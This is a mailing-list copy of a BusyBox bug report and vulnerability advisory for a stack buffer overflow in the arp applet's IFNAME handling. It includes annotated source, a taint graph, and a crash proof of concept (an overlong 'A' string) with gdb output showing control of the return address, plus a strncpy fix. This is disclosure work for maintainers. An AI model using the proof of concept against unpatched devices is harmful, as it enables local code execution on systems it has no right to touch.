[Bug 9071] New: busybox - (local) cmdline stack buffer overwrite
bugzilla at busybox.net
bugzilla at busybox.net
Mon Jul 4 13:39:21 UTC 2016
https://bugs.busybox.net/show_bug.cgi?id=9071
Bug ID: 9071
Summary: busybox - (local) cmdline stack buffer overwrite
Product: Busybox
Version: 1.24.x
Hardware: All
OS: All
Status: NEW
Severity: major
Priority: P5
Component: Other
Assignee: unassigned at busybox.net
Reporter: noamr at beyondsecurity.com
CC: busybox-cvs at busybox.net
Target Milestone: ---
Advisory
============
Author: 0x721427D8
Tag: busybox - (local) cmdline stack buffer overwrite
Overview
--------
Name: busybox
Vendor: Bruce Perens, Erik Andersen, et.al.
(busybox.net)
References: * http://www.busybox.net/ [1]
Version: 1.23.1 latest snapshot [2]
Latest Version: 1.23.1 latest snapshot [2]
Other Versions: affected - >= 1.4.0 (commit [3] date 2007-01-07 )
not affected - < 1.4.0
Platform(s): cross
Technology: c
Vuln Classes: Stack-based Buffer Overflow (CWE-121)
Origin: Local
Min. Privs.: -----
--
Description
---------
quote wikipedia.org [4]
>BusyBox is software that provides several stripped-down Unix tools in a single
executable file. It runs in a variety of POSIX environments such as Linux,
Android,
FreeBSD and others, such as proprietary kernels, although many of the tools it
provides are designed to work with interfaces provided by the Linux kernel. It
was specifically created for embedded operating systems with very limited
resources.
The authors dubbed it "The Swiss Army Knife of Embedded Linux", as the single
executable replaces basic functions of more than 300 common commands. It is
released as free software under the terms of the GNU General Public License.
Summary
-------
Busybox provides an `arp` applet which is missing an array bounds check for
command-line parameter `IFNAME`. It is therefore vulnerable to a command-line
based local stack buffer overwrite effectively allowing local users to write
past a 16 bytes fixed stack buffer. This leads to two scenarios, one (A) where
an IOCTL for GET_HW_ADDRESS (`SIOCGIFHWADDR`) fails and results in a corrupted
`va_list` being passed to `*printf()` and one (B) where an attacker might
provide
valid params for the IOCTL and trick the program to proceed and result in a
`RET eip overwrite` eventually gaining code execution.
*Versions affected:*
all versions shipping the arp applet (`arp.c`). This module was introduced
`2007-01-07`
with commit `88e2b1cb626761b1924305b761a5dfc723613c4e` [3] and was first
shipped with busybox version `1.4.0`
>= 1.4.0 - latest - vulnerable
- < 1.4.0 - *NOT* vulnerable: arp.c not present.
Details
------
By providing an overly long string for param `IFNAME` while setting `-D`
(read HW Address from IFACE) and `-s` (set new entry) a strcpy operation can be
reached that allows to write past the stack buffer `ifreq.ifr_name[IFANMESIZ]`
[5,6]
# ./busybox arp --help
BusyBox v1.23.0.git (2014-12-26 19:27:13 CET) multi-call binary.
Usage: arp
[-vn] [-H HWTYPE] [-i IF] -a [HOSTNAME]
[-v] [-i IF] -d HOSTNAME [pub]
[-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [temp]
[-v] [-H HWTYPE] [-i IF] -s HOSTNAME HWADDR [netmask MASK] pub
[-v] [-H HWTYPE] [-i IF] -Ds HOSTNAME IFACE [netmask MASK] pub
Manipulate ARP cache
-a Display (all) hosts
-d Delete ARP entry
-s Set new entry
-v Verbose
-n Don't resolve names
-i IF Network interface
-D Read HWADDR from IFACE
-A,-p AF Protocol family
-H HWTYPE Hardware address type
#### Details: arp.c ####
The stack buffer overflow manifests in arp.c
##### Taint Graph #####
busybox arp
-> arp.c:477 - arp_main (argc, argv)
-> arp.c:524 - arp_set (argv)
-> arp.c:263: - arp_getdevhw (ifname=*args++)
-> arp.c:332: - strcpy (dst=fixed_buffer,src=ifname)
// --- stack is messed up now - arbitrary stack local vars
overwritten already (including stored eip) ---
-> arp.c:222 ioctl_or_perror_and_die(,,ifr,<static_string>,ifname)
// A) ioctl_or_perror_and_die - FAILS - due to messed up stack
-> xfuncs_printf.c:508 -
bb_verror_msg(fmt=<static_string>,valist p,strerr(errno))
-> verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p);
// B) ioctl_or_perror_and_die - SUCCEEDS - due to attacker providing
reasonable values for IOCTL
-> arp.c:238 - RETURN - stack messed up, direct eip control
##### Code #####
1. No bounds check in `arp_main`
int arp_main(int argc UNUSED_PARAM, char **argv)
{
...
/* Now see what we have to do here... */
if (opts & (ARP_OPT_d | ARP_OPT_s)) { /**
!! -d and -s must be set*/
if (argv[0] == NULL)
/** !! argument must be set == IFNAME*/
bb_error_msg_and_die("need host name");
if (opts & ARP_OPT_s)
return arp_set(argv);
/** !! argv never checked, pass to arp_set (tainted)*/
return arp_del(argv);
}
...
}
2. No bounds check in arp_set
static int arp_set(char **args)
/** !! args==IFNAME (tainted)*/
{
...
/* Fetch the hardware address. */
if (*args == NULL) {
/** !! IFNAME must be set*/
bb_error_msg_and_die("need hardware address");
}
if (option_mask32 & ARP_OPT_D) {
/** !! -d must be set*/
arp_getdevhw(*args++, &req.arp_ha);
/** !! args never checked, pass to arp_getdevhw*/
} else {
if (hw->input(*args++, &req.arp_ha) < 0) {
bb_error_msg_and_die("invalid hardware
address");
}
}
...
}
3. No bounds check and buffer overwrite in arp_getdevhw
static void arp_getdevhw(char *ifname, struct sockaddr *sa)
/** !! ifname==args (tainted)*/
{
struct ifreq ifr;
/** !! static stack struct,
sizeof(ifreq)==40*/
const struct hwtype *xhw;
/** !! static stack struct,
sizeof(hwtype)==64*/
strcpy(ifr.ifr_name, ifname);
/** !! overwrites ifr.ifr_name[IFNAMESIZ==16] by
strlen(ifname)*/
ioctl_or_perror_and_die(sockfd, SIOCGIFHWADDR, &ifr,
"can't get HW-Address
for '%s'", ifname); /** !! will do the IOCTL and die on errors*/
if (hw_set && (ifr.ifr_hwaddr.sa_family != hw->type)) {
/** !! Skip - hw_set is only set by -H|-t*/
bb_error_msg_and_die("protocol type mismatch");
}
memcpy(sa, &(ifr.ifr_hwaddr), sizeof(struct sockaddr));
/** !! Skip - we do not care*/
if (option_mask32 & ARP_OPT_v) {
/** !! Skip - we do not specify -v*/
xhw = get_hwntype(ifr.ifr_hwaddr.sa_family);
if (!xhw || !xhw->print) {
xhw = get_hwntype(-1);
}
bb_error_msg("device '%s' has HW address %s
'%s'",
ifname, xhw->name,
xhw->print((unsigned char *)
&ifr.ifr_hwaddr.sa_data));
}
}
/** !! if we do not
fail in IOCTL we'll land here - direct EIP control*/
arbitrary length (may be limited by os) string `IFNAME` overwrites 16
bytes fixed buffer `ifreq.ifr_name[IFANMESIZ]` [5,6].
4. stack is messed up before IOCTL for SIOCGIFHWADDR in ioctl_or_perror_and_die
we control any fields below `ifr.ifr_name` - which essentially is any
ifreq
field, see below - allowing us to call `SIOCGIFHWADDR IOCTL` with user
controlled
fields and pot. let it die or make it succeed.
If the `IOCTL` fails it will make the process die in `vsprintf()` due
to messed up va_args on stack.
If the `IOCT`L succeeds, it will make the process continue, copy
taken from [5]
203 struct ifreq {
204 #define IFHWADDRLEN 6
205 union
206 {
207 char ifrn_name[IFNAMSIZ]; /*
if name, e.g. "en0" */ /** !! we overflow here */
208 } ifr_ifrn;
209
210 union {
211 struct sockaddr ifru_addr;
212 struct sockaddr ifru_dstaddr;
213 struct sockaddr ifru_broadaddr;
214 struct sockaddr ifru_netmask;
215 struct sockaddr ifru_hwaddr;
216 short ifru_flags;
217 int ifru_ivalue;
218 int ifru_mtu;
219 struct ifmap ifru_map;
220 char ifru_slave[IFNAMSIZ]; /* Just
fits the size */
221 char ifru_newname[IFNAMSIZ];
222 void __user * ifru_data;
223 struct if_settings ifru_settings;
224 } ifr_ifru;
225 };
5. a) IOCTL fails
//xfuncs_printf.c:508
int FAST_FUNC ioctl_or_perror_and_die(int fd, unsigned request,
void *argp, const char *fmt,...)
{
int ret;
va_list p;
/** !! stack is messed
up */
ret = ioctl(fd, request, argp);
if (ret < 0) {
va_start(p, fmt);
bb_verror_msg(fmt, p, strerror(errno));
/** !! valist p is corrupt, stack is messed up, and we
fail, printing error*/
/* xfunc_die can actually longjmp, so be nice
*/
va_end(p);
xfunc_die();
}
return ret;
}
//verror_msg.c:31 - vasprintf(&msg, s=fmt, valist p);
void FAST_FUNC bb_verror_msg(const char *s, va_list p, const
char* strerr)
{
char *msg, *msg1;
int applet_len, strerr_len, msgeol_len, used;
if (!logmode)
return;
if (!s) /* nomsg[_and_die] uses NULL fmt */
s = ""; /* some libc don't like printf(NULL) */
used = vasprintf(&msg, s, p);
/** !! valist p is corrupt */
if (used < 0)
return;
...
}
6. b) IOCTL does not fail
as described in 3./4. the code proceeds with returning from
`arp_getdevhw`
eventually executing code from the `strcpy()` based overflow. (RET
overwrite)
Proof of Concept
----------------
Brutally smash the stack buffer (provide any IP as arg `HOSTNAME` to bypass
name resolver):
# ./busybox arp -v -Ds 1.1.1.1 $(python -c "print 'A'*99")
Segmentation fault
# dmesg
busybox[5135]: segfault at 41414141 ip 080b8a5b sp bfa924fc error 4 in
busybox[8048000+1fd000]
# gdb --args ./busybox_unstripped arp -v -Ds 1.1.1.1 $(python -c "print
'A'*99")
(gdb) r
...
Program received signal SIGSEGV, Segmentation fault.
0x080b8a5b in vfprintf ()
(gdb) i r
eax 0x0 0
ecx 0xffffffff -1
edx 0x0 0
ebx 0xbffff42c -1073744852
esp 0xbfffee6c 0xbfffee6c
ebp 0xbffff408 0xbffff408
esi 0x1a 26
edi 0x41414141 1094795585
eip 0x80b8a5b 0x80b8a5b <vfprintf+13739>
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) bt
#0 0x080b8a5b in vfprintf ()
#1 0x0805b629 in vasprintf ()
#2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for
'%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
at libbb/verror_msg.c:31
#3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:508
#4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141
out of bounds>, sa=0x41414141) at networking/arp.c:222
#5 0x41414141 in ?? ()
#6 0x41414141 in ?? ()
#7 0x41414141 in ?? ()
#8 0x41414141 in ?? ()
#9 0x41414141 in ?? ()
...
(gdb) bt full
#0 0x080b8a5b in vfprintf ()
No symbol table info available.
#1 0x0805b629 in vasprintf ()
No symbol table info available.
#2 0x080f02aa in bb_verror_msg (s=0x820cc85 "can't get HW-Address for
'%s'", p=0xbffff540 'A' <repeats 103 times>, strerr=0x823a798 "No such device")
at libbb/verror_msg.c:31
msg = 0x13 <Address 0x13 out of bounds>
msg1 = 0x0
applet_len = -1073744492
strerr_len = -1073744524
msgeol_len = 0
used = -1073744508
#3 0x080f18a1 in ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff544, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:508
ret = -1
p = 0xbffff540 'A' <repeats 103 times>
#4 0x0811365d in arp_getdevhw (ifname=0x41414141 <Address 0x41414141
out of bounds>, sa=0x41414141) at networking/arp.c:222
ifr = {ifr_ifrn = {ifrn_name = 'A' <repeats 16 times>},
ifr_ifru = {ifru_addr = {sa_family = 16705, sa_data = 'A' <repeats 14 times>},
ifru_dstaddr = {sa_family = 16705, sa_data = 'A' <repeats
14 times>}, ifru_broadaddr = {sa_family = 16705,
sa_data = 'A' <repeats 14 times>}, ifru_netmask =
{sa_family = 16705, sa_data = 'A' <repeats 14 times>}, ifru_hwaddr = {
sa_family = 16705, sa_data = 'A' <repeats 14 times>},
ifru_flags = 16705, ifru_ivalue = 1094795585, ifru_mtu = 1094795585, ifru_map =
{
mem_start = 1094795585, mem_end = 1094795585, base_addr =
16705, irq = 65 'A', dma = 65 'A', port = 65 'A'},
ifru_slave = 'A' <repeats 16 times>, ifru_newname = 'A'
<repeats 16 times>, ifru_data = 0x41414141 <Address 0x41414141 out of bounds>}}
#5 0x41414141 in ?? ()
No symbol table info available.
#6 0x41414141 in ?? ()
No symbol table info available.
#7 0x41414141 in ?? ()
A debugging session shows that we messed up the `va_list` on stack with the
user provided string.
crosscheck: valid run (no crash expected, `IFNAME=AAAAA`):
# gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print
'A'*(5)")
(gdb) b ioctl_or_perror_and_die
Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
(gdb) r
Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1
AAAAA
Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff5a4, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:501
501 {
(gdb) s
505 ret = ioctl(fd, request, argp);
(gdb) s
506 if (ret < 0) {
(gdb) s
507 va_start(p, fmt);
(gdb) s
508 bb_verror_msg(fmt, p, strerror(errno));
(gdb) x/10s p
0xbffff5a0: "\375\370\377\277AAAAA"
/** !!
valid va_list struct for 5*A*/
0xbffff5aa: "\377\277\365\370\377\277"
0xbffff5b1: ""
0xbffff5b2: ""
0xbffff5b3: ""
0xbffff5b4:
"\300\207$\bp9\022\b\324\365\377\277\365\370\377\277b7\021\b\375\370\377\277\364\365\377\277D"
0xbffff5d2: ""
0xbffff5d3: ""
0xbffff5d4: "\002"
0xbffff5d6: ""
(gdb)
see inline comments: va_list on stack shown by `x/10s p`
now overflow `va_list` by providing `IFNAME=A*(64+40+40)` (crash expected):
gdb --args ./busybox_unstripped arp -Ds 1.1.1.1 $(python -c "print
'A'*(64+40+40)")
(gdb) ioctl_or_perror_and_die
Undefined command: "ioctl_or_perror_and_die". Try "help".
(gdb) b ioctl_or_perror_and_die
Breakpoint 1 at 0x80f1851: file libbb/xfuncs_printf.c, line 501.
(gdb) r
Starting program: /src/busybox-dhcp/busybox_unstripped arp -Ds 1.1.1.1
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, ioctl_or_perror_and_die (fd=3, request=35111,
argp=0xbffff514, fmt=0x820cc85 "can't get HW-Address for '%s'")
at libbb/xfuncs_printf.c:501
501 {
(gdb) s
505 ret = ioctl(fd, request, argp);
(gdb) s
506 if (ret < 0) {
(gdb) s
507 va_start(p, fmt);
(gdb) s
508 bb_verror_msg(fmt, p, strerror(errno));
(gdb) x/10s p
0xbffff510: 'A' <repeats 148 times>
/** !!
INVALID va_list struct, missing header*/
0xbffff5a5: "\271\004\b"
0xbffff5a9: "\231\357pU?\021\b\030\367\377\277\177\315
\b\314\365\377\277\314\365\377\277\320\365\377\277\320\365\377\277È$\b"
0xbffff5cd: "\231\357p\330\366\377\277"
0xbffff5d5: "\003"
0xbffff5d7: ""
0xbffff5d8: ""
0xbffff5d9: ""
0xbffff5da: ""
0xbffff5db: ""
(gdb)
see inline comment: `va_list` is messed up.
Remediation Steps
-------
* `strcpy` => `strncpy(dst,src,n=sizeof(ifreq.ifr_name)-1)` or less error prone
but more overhead `snprintf()`
References
---------
[1] http://busybox.net
[2] http://busybox.net/downloads/?C=M;O=A
[3]
http://git.busybox.net/busybox/commit/networking/arp.c?id=88e2b1cb626761b1924305b761a5dfc723613c4e
[4] https://en.wikipedia.org/wiki/BusyBox
[5] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L203
[6] http://lxr.free-electrons.com/source/include/uapi/linux/if.h#L26
--
You are receiving this mail because:
You are on the CC list for the bug.
More information about the busybox-cvs
mailing list